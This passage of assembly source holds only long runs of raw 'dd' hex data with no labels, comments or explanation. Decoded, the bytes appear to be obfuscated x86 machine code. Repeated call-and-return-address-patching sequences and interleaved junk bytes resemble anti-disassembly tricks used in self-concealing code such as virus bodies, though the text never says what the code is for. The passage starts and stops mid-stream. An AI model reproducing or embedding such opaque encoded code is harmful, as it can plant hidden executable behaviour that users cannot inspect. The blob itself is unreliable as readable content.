		dd 81042474h, 15042444h, 46000000h, 2BA5C356h, 6AF8B70Fh
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0C39AD4FEh, 929ACD3h, 1B28F195h,	0E19D8906h
		dd 6A061B24h, 899D8B00h, 0FF061B2Dh, 1B1A0195h,	0F9BD8B06h
		dd 8D061B28h, 1E92B78Dh, 0FE906h, 0E2430000h, 1804F53Ch
		dd 8F57AC81h, 586A39CAh, 6AD1FF4Eh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0E294C353h
		dd 0D5BD83FCh, 1061B1Ch, 8D850Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0A2AE6DC3h
		dd 9CC33D52h, 6A026AF9h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 0C6CEC355h,	0F82122D4h
		dd 9E8208Dh, 0E000000h,	0E799BA59h, 0FEE2251Ah,	2E959589h
		dd 505F061Bh, 0BF665151h, 5B5B5F2Fh, 6A240489h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 913BC355h, 2D95FFCBh, 0E9061B14h, 0E17h, 0E8h, 0ED815D00h
		dd 61F5030h, 9E9h, 0F816A600h, 0EAE15B28h, 6A3A2Fh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0ED778FC3h, 858DD5BAh, 61E853Dh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 71C35747h, 865BD8Bh, 6690061Bh
		dd 0E950D98Bh, 11h, 0E2044755h,	0DB44DDE7h, 0B983AF72h
		dd 0A82AD6C2h, 895690EFh, 1B242585h, 0FF645B06h, 35h, 0AE900h
		dd 0B2080000h, 0FC094975h, 23CD6A9Ch, 258964h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 0BC0EC355h, 2E56EF50h, 2B0D85FFh,	8531061Bh
		dd 61B0959h, 800FFF6Ah,	6, 65D8D29h, 0B5FF061Bh, 61B31BDh
		dd 0EE9h, 0E290C00h, 0E6104E24h, 0BAFF1AC1h, 0FFA70CCFh
		dd 1B080595h, 0FAE906h,	0BD8B0000h, 61B12D9h, 0BE9h, 0ED61F600h
		dd 60D337F4h, 76EB6F32h, 0B70F00B0h, 0E470E6FAh, 0F613C71h
		dd 0D383h, 95896000h, 61B1F35h,	6850Fh,	95890000h, 61B1935h
		dd 0C8B60F61h, 0C7C78166h, 6BA11h, 0FA8A0000h, 9D33C18Bh
		dd 61B29D5h, 4E8C1F5h, 30D5BD8Bh, 0F766061Bh, 0D9B70FE2h
		dd 0BD8BC82Bh, 61B1889h, 9D8BD18Bh, 61B13D9h, 0AC38166h
		dd 6E92Fh, 9D090000h, 61B066Dh,	3001858Bh, 0BD29061Bh
		dd 61B1195h, 0E907C083h, 5, 417EB947h, 0C083B1h, 0D03BFE8Bh
		dd 14830Fh, 810F0000h, 6, 6F18D89h, 41E9061Bh, 66000000h
		dd 8D8BFE8Bh, 61B1941h,	68D0Fh,	66570000h, 5B028ABBh, 0F01E183h
		dd 2384h, 41A58300h, 0FE061B19h, 0C79BD8Bh, 9589061Bh
		dd 61B3001h, 6E9h, 5528D200h, 0E9AEE87Bh, 0
		dd 0DC8AB58Dh, 6A061Eh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 95E2B2C3h, 5BCD9275h, 19D8BD4h
		dd 0F061B07h, 389h, 0F88B6600h,	6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 0BB54C3C3h
		dd 24FE795h, 220595FFh,	8D01061Bh, 61B24D9h, 0AEFB9h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 63F7FE99h, 0B94CF075h, 8A0F7305h, 6,	1A6D9589h, 0E183061Bh
		dd 0BE860FCh, 57000000h, 0B9399B49h, 3CDCFD68h,	0B70F7C2Fh
		dd 0C78B5FCEh, 6AFC61h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 881F92C3h, 6A31BF9Fh, 0BA3ABF80h
		dd 0C02B0326h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	0CEC35545h, 0BAh, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0E38166D0h
		dd 33AD095Bh, 3E8D1C2h,	4E983D0h, 6AF475h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 3656A7C3h
		dd 80520C9Bh, 0D5B9BE7h, 88h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 9BC35646h, 8B60535Fh, 1B21F5B5h
		dd 798D8906h, 61061B25h, 29958B5Fh, 89061B24h, 1B31398Dh
		dd 658D8B06h, 6A061B07h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 0E89BC352h,	0BDB643CEh
		dd 0E1958991h, 57061B0Eh, 5BF9B70Fh, 8BC28B50h,	8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 0BD895818h, 61B140Dh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 51C35646h, 39A48E8Bh
		dd 1FDBD8Bh, 0B529061Bh, 61B00E5h, 1769BD83h, 0F00061Bh
		dd 7884h, 6840F00h, 9000000h, 1B10758Dh, 6850F06h, 8B000000h
		dd 1B084DBDh, 0B806h, 830F0000h, 0
		dd 4CD38D8Dh, 6A061Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 0C3812DC3h, 17ED9230h, 0FE9h, 47A2F500h
		dd 7D3FD91Bh, 1C15EAC7h, 0F3D6602h, 23B18D09h, 0E1FF061Bh
		dd 24098D89h, 8160061Bh, 0F3CC38C2h, 0FA8B6626h, 0D1BD8361h
		dd 61B13h, 473840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 74E65C3h, 0F9853EEh
		dd 68Bh, 2D8D2900h, 83061B2Dh, 1B13D1BDh, 840F0106h, 454h
		dd 0FE9h, 725F9400h, 0EC65456Bh, 27C9D8A2h, 7F4F41F4h
		dd 13D1BD83h, 0F03061Bh, 3FD86h, 60F88B00h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 9CC35242h, 1D958957h
		dd 66061B00h, 0DC8AD98Ch, 820Fh, 0E1800000h, 52006A04h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 3CE014BFh, 63BEB273h, 0FA8B6672h, 0A91E5EBBh, 0FC90A60h
		dd 0DB84h, 60D98B00h, 0BA45BE66h, 61F1BF0Fh, 145858Bh
		dd 0BB53061Bh, 35D115F1h, 3185335Bh, 6A061B2Ah,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 596CC355h, 8F9DA378h, 0BF665090h, 4897739h, 50006A24h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 76B82558h, 0BD89006Ah, 61B0A01h, 7B9BD568h, 0DE850h
		dd 9EB0000h, 90A9E7FEh,	0F572C3Ah, 663CC39Dh, 5F0CE6BFh
		dd 2A243481h, 6A506498h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 9879C350h, 0F0A8E50Eh
		dd 870FC459h, 6, 23959589h, 95FF061Bh, 61B3235h, 0AD998589h
		dd 8B66061Eh, 206E9D8h,	0BD310000h, 61B17ADh, 0AD91858Bh
		dd 6A061Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 636BD0C3h, 0B7027F49h, 0C7B903EEh, 1800h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 35C8B439h, 8BE2636Eh, 1EAD95B5h,	0ADBD0906h
		dd 8B061B0Ch, 1B122985h, 0A1858906h, 89061B0Ah,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 3AAA6B09h, 9E99Eh, 0C830000h, 2A19393Bh, 0E8D476C1h
		dd 6, 98A55684h, 800F316Ah, 0
		dd 45858B5Bh, 6A061B01h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 4016C357h, 0BEA7E20h
		dd 1B03C99Dh, 4468906h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0C5C35747h, 42AF8BC0h, 0F0C4726Eh, 14E850h
		dd 0B35E0000h, 931E142Dh, 2D6632E1h, 57DC569h, 4B7BEE7Fh
		dd 0DE8A0930h, 2434895Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 0F5C35343h, 570E5AC9h, 0A4FF44F1h, 0FFDD8AD8h
		dd 1EAD91B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 0FBBF0FD4h, 69D58668h, 8B666036h
		dd 7EBF66D7h, 348161F8h, 76D67924h, 6E836h, 7A570000h
		dd 27E02590h, 29BD8589h, 8D5B061Bh, 1EAD9985h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 2C214ED7h, 0B501C424h, 61B02D1h, 0E9605090h,	5, 958B36C6h
		dd 0E9525064h, 0Dh, 0CA353CA2h,	841F3E77h, 87A39A34h, 50310FDBh
		dd 61585A59h, 3850BB90h, 0D3812CCCh, 10E37F13h,	323595FFh
		dd 0D781061Bh, 4C9DBA60h, 57006A61h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0D185C754h
		dd 3061B13h, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 0D003C350h,	1AE9261Fh
		dd 9D233517h, 61B17E5h,	0AD99BD83h, 0F00061Eh, 5D84h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 5087D206h, 0AD9D8B80h, 0E9061B32h, 4Dh, 2C8F0Fh, 0EE80000h
		dd 27000000h, 1C81E814h, 9A224FCEh, 388FB541h, 13E92Eh
		dd 3DEC0000h, 35A07B4Dh, 0BCB8BBD6h, 9C3FB2DAh,	97F28A5Fh
		dd 30505FEAh, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 8E9C0h, 847A0000h, 91750A21h, 6A0BFDh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 2D466C3h, 4216E0EEh,	0A6DB800Fh, 0EE8h, 0F8005600h
		dd 5E2C53E2h, 6734CFD2h, 5B655C1Eh, 13D1BD83h, 0F03061Bh
		dd 44F85h, 419D8B00h, 83061B07h, 1EAD99BDh, 840F0006h
		dd 43Ch, 29AD9501h, 0B5FF061Bh,	61EAD99h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Dh, 63C35141h, 67E99D6Dh
		dd 0CDD67F7Dh, 3D8D8957h, 0BB061B24h, 272700FEh, 0FFFA8B66h
		dd 1B011195h, 47DB8006h, 0AD8DB58Bh, 6A061Eh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 9DB3CEC3h
		dd 2951055Fh, 1B21E585h, 820F5F06h, 0
		dd 2B9D9D8Bh, 6C7061Bh,	10001h,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 98C35242h, 39E4FD80h, 0B589577Ch
		dd 61B1269h, 0E957505Fh, 0Ah, 0B231574Eh, 1F5AB0C4h, 895F65C0h
		dd 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 4B1CECC3h, 0FF314403h, 1EAD99B5h,	13E906h
		dd 3FAA0000h, 3EE7BD44h, 0CBD7FA0Fh, 3DB1494Dh,	0EE035520h
		dd 0C995FF77h, 57061B1Bh, 0BB99D8Bh, 8B5F061Bh,	8DB58BDEh
		dd 2B061EADh, 1B1F49BDh, 99B58906h, 8B061B06h, 1B0D2585h
		dd 9E906h, 800F0000h, 0A81DBD8Ah, 8B32E518h, 0C48689D8h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 1A66C356h, 9C3546DEh, 0B589506Dh
		dd 61B03FDh, 0DE99D01h,	9D01061Bh, 61B0701h, 2429958Bh
		dd 6A061Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 0ED65ACC3h, 60B4A270h, 0E9595360h, 9, 0C6AF0F19h
		dd 342CD1FBh, 816661C2h, 61113FF3h, 0AE9h, 6ACCE100h, 0EBA4F09Dh
		dd 8314DC55h, 6A04C2h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 33F5E5C3h, 619D03BCh, 89061B06h
		dd 81662050h, 8DB22AEFh, 1EC0C785h, 8689F806h, 0B8h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 72C35646h, 0BF668512h
		dd 6AF127h, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 16h,	73C35747h, 0D380339Ch, 11E84Eh,	0EF930000h, 0ED1DA093h
		dd 0C7D2298h, 3219B1EDh, 66F385CEh, 0FF5FDF8Bh,	1EAD99B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 2178F75Dh, 1FD1CC36h, 0FFFBB70Fh, 1B142D95h
		dd 10E806h, 6F400000h, 0B820AA09h, 1EDE222Bh, 3F3836B5h
		dd 0BD292CC2h, 61B2AC5h, 0B353505Bh, 34895F19h,	51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 87C41763h, 4BFF71A2h, 0B5FFBFE4h, 61EAD99h, 9195FFFCh
		dd 6A061B1Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 6C60C350h, 68F0Fh, 0B5890000h
		dd 61B0C0Dh, 0C81BD83h,	0F00061Bh, 3184h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 80F83E66h, 0E2C20D1Dh, 8B967645h, 8B6650D9h,	0BF6696F9h
		dd 0B5FF4400h, 61EAD99h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 44C35747h, 0FE5795B4h, 0A5C74E25h, 0BD595FFh
		dd 9D8B061Bh, 61B2F8Dh,	6880Fh,	0BD290000h, 61B1979h, 0AD99B5FFh
		dd 850F061Eh, 0Bh, 0E99D8B60h, 0F061B1Eh, 8961FFB7h, 1B1CBDB5h
		dd 995FF06h, 0E8061B1Ah, 13h, 21CA87DCh, 93693310h, 0FB1F3BBAh
		dd 6B09BE18h, 339E3AAAh, 1B1B8D9Dh, 0BD835F06h,	61B07A5h
		dd 46840F02h, 3000000h,	1B0AC9BDh, 31858B06h, 0E9061B30h
		dd 13h,	299EF79h, 62449EC1h, 1DA7F198h,	0D61C29DAh, 0C638449Ch
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 852A65C3h, 0D585C7D7h, 61B2Bh, 66000000h
		dd 0BD89F88Bh, 61B1CCDh, 0FFF2E3E9h, 56006AFFh,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 9A3C3AAh, 1B29458Dh
		dd 66C18B06h, 8D071BBFh, 1B32ED85h, 95096006h, 61B25F9h
		dd 0DE9h, 0BE38FF00h, 51F969A9h, 0F707DDD0h, 5061B4C2h
		dd 6A240489h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 2260C357h, 8C0F3975h, 6, 2501B589h
		dd 6A061Bh, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 17h,	29C35747h, 8B463D67h, 6A006AFEh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 3EABC351h
		dd 2EE1B7EBh, 0FA8B663Fh, 16D98D89h, 858D061Bh,	61F607Eh
		dd 0F4DF8166h, 99D8B31h, 83061B0Dh, 6A05C0h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 96C729C3h
		dd 66A0187Dh, 0DD5BE381h, 81905090h, 69C7D0F7h,	6A006A42h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 5449C355h, 0C9B589FDh, 6A061B12h,	9D9D8B00h
		dd 0FF061B29h, 1B1A0195h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 0A57A7A61h
		dd 8589D4B4h, 61B0A69h,	13199D0Bh, 8D8D061Bh, 61E92B7h
		dd 0BD83D1FFh, 61B1CD5h, 0E4850F01h, 6A000000h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 674AC356h, 0AE957C4h, 49000000h, 99E6D8B9h, 0CB925BBh
		dd 6A026AE9h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0D82EC356h, 0D07E66C5h, 0FAB70FC0h
		dd 32119D8Bh, 12E9061Bh, 0C6000000h, 0F1DB99h, 0D28ED1CDh
		dd 82FDFEDFh, 0A27D100Bh, 525090FFh, 21B3BF53h,	0F5B25A3h
		dd 0C4BF6631h, 50585AEAh, 6A906160h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0ADDEC351h
		dd 39E9B783h, 95FFFC8Fh, 61B142Dh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 49C35141h, 0DF72AB62h, 8166E35Eh
		dd 8B1CC9C7h, 1B1681BDh, 199D8906h, 0E9061B17h,	0CD9h
		dd 0E8h, 0ED815D00h, 61F6088h, 0BE9BD8Bh, 0BB66061Bh, 858DF40Ah
		dd 61E853Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	2C35040h, 0B5095626h, 61B0C4Dh,	50DE8B90h, 6690FB8Bh
		dd 0FF64D98Bh, 35h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 89ACB750h, 1B000DBDh
		dd 25896406h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 1AC35141h
		dd 0FFD79BAFh, 1B2B0D85h, 0FE8B6606h, 6AFF6Ah, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 6526F3C3h, 19E1BD33h, 9D89061Bh, 61B0655h, 2549B5FFh
		dd 840F061Bh, 3, 0FFF98B66h, 1B080595h,	157E906h, 0B5010000h
		dd 61B24B1h, 858900B0h,	61B3179h, 296070E6h, 1B0B1195h
		dd 71E46106h, 758D8960h, 81061B31h, 2F7D20F6h, 613C6115h
		dd 127830Fh, 0EB70000h,	0BBC8B60Fh, 40209EBAh, 6BAh, 1890F00h
		dd 0F5000000h, 0FE9C18Bh, 81000000h, 0AC8A597Eh, 0EF6AB616h
		dd 0BE804340h, 0E8C10EA1h, 71858904h, 66061B07h, 840FE2F7h
		dd 0Eh,	819D8960h, 0F061B2Fh, 8Bh, 0C82B6100h, 8B50DF80h
		dd 9D8B60D1h, 61B2ED5h,	241D9589h, 0E961061Bh, 0Eh, 2ACDBD89h
		dd 2B53061Bh, 1B2AAD9Dh, 858B5B06h, 61B06ADh, 88BF6660h
		dd 0FDB58B6Eh, 61061B13h, 5307C083h, 0CDCBF66h,	0C0835Bh
		dd 0D03BF88Bh, 17830Fh,	9D890000h, 61B0B41h, 80E9h, 6820F00h
		dd 8B000000h, 1B12CDBDh, 418D8B06h, 23061B06h, 1B08719Dh
		dd 1E18306h, 5F840Fh, 0E8600000h, 14h, 0E8C2E340h, 19EFF9AFh
		dd 5F2C6250h, 87073DAh,	2D7C89D7h, 0D6DBD89h, 0F59061Bh
		dd 8361C2BFh, 1B0641A5h, 0DE9FE06h, 92000000h, 0EFE4BBD2h
		dd 1C609D1Ah, 0F0B87F7Fh, 6AD9589h, 11E9061Bh, 22000000h
		dd 3BD485A9h, 98F0E1A1h, 0F1D87ACFh, 234222E7h,	0E9h, 60B58D00h
		dd 8B061EE9h, 1B2151BDh, 6A006A06h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 87B2C353h
		dd 0FF9E9C70h, 1B220595h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 2085FD13h
		dd 8BB8270Dh, 8C1B9DAh,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0BD8B9BC3h, 61B3239h
		dd 2EC59501h, 0E183061Bh, 50006AFCh, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0FA8EC9E1h
		dd 66FBA440h, 2B4848BFh, 1B1D99BDh, 6AFC06h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 0E447AC3h
		dd 2B941399h, 1B19219Dh, 55858906h, 2B061B18h, 50006AC0h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 81687DA6h, 2CEF99Ch,	17159D8Bh, 0BA061Bh, 0AD000000h
		dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 15F4C355h
		dd 376C7246h, 8B0F365Bh, 6, 0E098531h, 5F52061Bh, 820Fh
		dd 880D0000h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 2FE7C356h, 9C552BB1h
		dd 8A059C8Dh, 29958BF8h, 6A061B24h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 9A2EC350h
		dd 0F5B53145h, 8B061B24h, 1B03099Dh, 658D8B06h,	6A061B07h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 6561C357h, 50931940h, 10B18D29h, 505B061Bh
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	198D0958h
		dd 6A061B1Fh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 4F6C352h, 48BC66E3h, 1E48201Ah
		dd 0D45BD8Bh, 9589061Bh, 61B1111h, 1769BD83h, 0F00061Bh
		dd 9684h, 0ED9D8B00h, 0B8061B1Ch, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0E3C35141h
		dd 395C3247h, 0A2228744h, 8D8DF87Eh, 61B4CD3h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 8EC35242h, 71026990h
		dd 0F74895Fh, 689h, 0A8C38100h,	895882ECh, 1B07B18Dh, 6AE1FF06h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0D94AC356h, 4FFCA228h, 0A2BFFB00h, 836E1480h
		dd 1B13D1BDh, 840F0006h, 3ADh, 3A18BF66h, 32D8BF66h, 13D1BD83h
		dd 0F01061Bh, 3B384h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 0FFB70FF0h, 13D1BD83h
		dd 0F03061Bh, 35186h, 6055B300h, 6840Fh, 0EB810000h, 79D372E4h
		dd 6800F50h, 8B000000h,	1B22319Dh, 8C665F06h, 56006AD9h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 357B6012h, 0EA1D77BFh, 0E180A5D3h, 0CD9D8904h, 0A061B03h
		dd 11840FC9h, 0B7000001h, 45858B8Dh, 6A061B01h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 31CDC353h, 31853388h, 6A061B2Ah, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 8BEAC350h
		dd 1B1911BDh, 0FD8A5006h, 6A240489h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0A6EDC356h
		dd 9C81687Dh, 30559D8Bh, 6A061Bh, 25319D89h, 4E8061Bh
		dd 0FF000000h, 56001F03h, 28A0Fh, 5F520000h, 840F505Fh
		dd 5, 9B13E1BFh, 24448B28h, 66008B04h, 89403EBBh, 8B042444h
		dd 6A58DFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 0AF0878C3h, 95FF9019h, 61B3235h, 1CB59D29h
		dd 8589061Bh, 61EAD99h,	196E9h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0D1DC80B1h
		dd 0BBF9248Fh, 735371CDh, 0AD91858Bh, 0BF66061Eh, 0C7E1BFh
		dd 18h,	0AD95B58Bh, 8BF9061Eh, 1B122985h, 0E2BB6606h, 6A0689BCh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0D2B3C353h, 0C494F932h, 22A780A2h, 145858Bh
		dd 0BF0F061Bh, 8B6053FAh, 1B2EB99Dh, 61585606h,	446895Fh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0BC35747h
		dd 0AA4C6BDBh, 8B403175h, 1B1981BDh, 50565006h,	5BF98B66h
		dd 2434895Fh, 0B5FFD88Bh, 61EAD91h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 37C35141h, 0EC3325B5h, 0BD890B70h
		dd 61B17C5h, 0F21A6368h, 8159B717h, 199C2434h, 6A17EDh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 60B61EC3h, 0C3BF0F50h, 919D295Eh, 61061B22h,	0AD99858Dh
		dd 6A061Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 5074BC3h,	0A8A0FFCh, 0E9000000h, 5, 628F7FECh
		dd 90BF5041h, 895E89EAh, 6A2404h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0C695DDC3h, 1E65BD8Bh
		dd 95FF061Bh, 61B3235h,	31119D8Bh, 9ABB061Bh, 6163D57Eh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0BFC35040h
		dd 0D8B70FF7h, 0F11B589h, 0B70F061Bh, 0D185C7D9h, 3061B13h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0EA70C355h, 0A539AFA8h, 958941B1h
		dd 61B0255h, 0AD99BD83h, 0F00061Eh, 1184h, 0C99D8B00h
		dd 0E9061B22h, 21h, 10858589h, 3050061Bh, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 8BDF8BC0h, 1B2939BDh
		dd 0D1BD8306h, 3061B13h, 3A2850Fh, 8B660000h, 99BD83DFh
		dd 61EADh, 392840Fh, 66600000h,	0CC7AF181h, 68A0Fh, 958B0000h
		dd 61B175Dh, 10E961h, 3B7D0000h, 975F9F68h, 7555DA71h
		dd 0E7CD6652h, 0B5FF314Eh, 61EAD99h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 92C35646h, 8DB2705Dh, 8C89C762h
		dd 1195FF6Bh, 89061B01h, 1B0E9995h, 8DB58B06h, 0E9061EADh
		dd 0Dh,	80864A00h, 0D7AAE69Bh, 7FA85A3Bh, 106C76Bh, 0F8000100h
		dd 6A965096h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 0BF21C355h, 0A660983h,	1F219589h
		dd 0B5FF061Bh, 61EAD99h, 0FF66F380h, 1B1BC995h,	57EF8006h
		dd 0AD8DB58Bh, 6A061Eh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 9CC0A0C3h, 9BCA810Eh, 1EFDBD89h
		dd 858B061Bh, 61B0D25h,	0C48689h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 72A28EC3h
		dd 85B2F8B0h, 852960EFh, 61B00F9h, 292D9501h, 6061061Bh
		dd 2B1D8D03h, 8B61061Bh, 1B242995h, 83D88B06h, 895304C2h
		dd 1B0DB98Dh, 50895B06h, 57006A20h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 0A7765225h, 89873788h
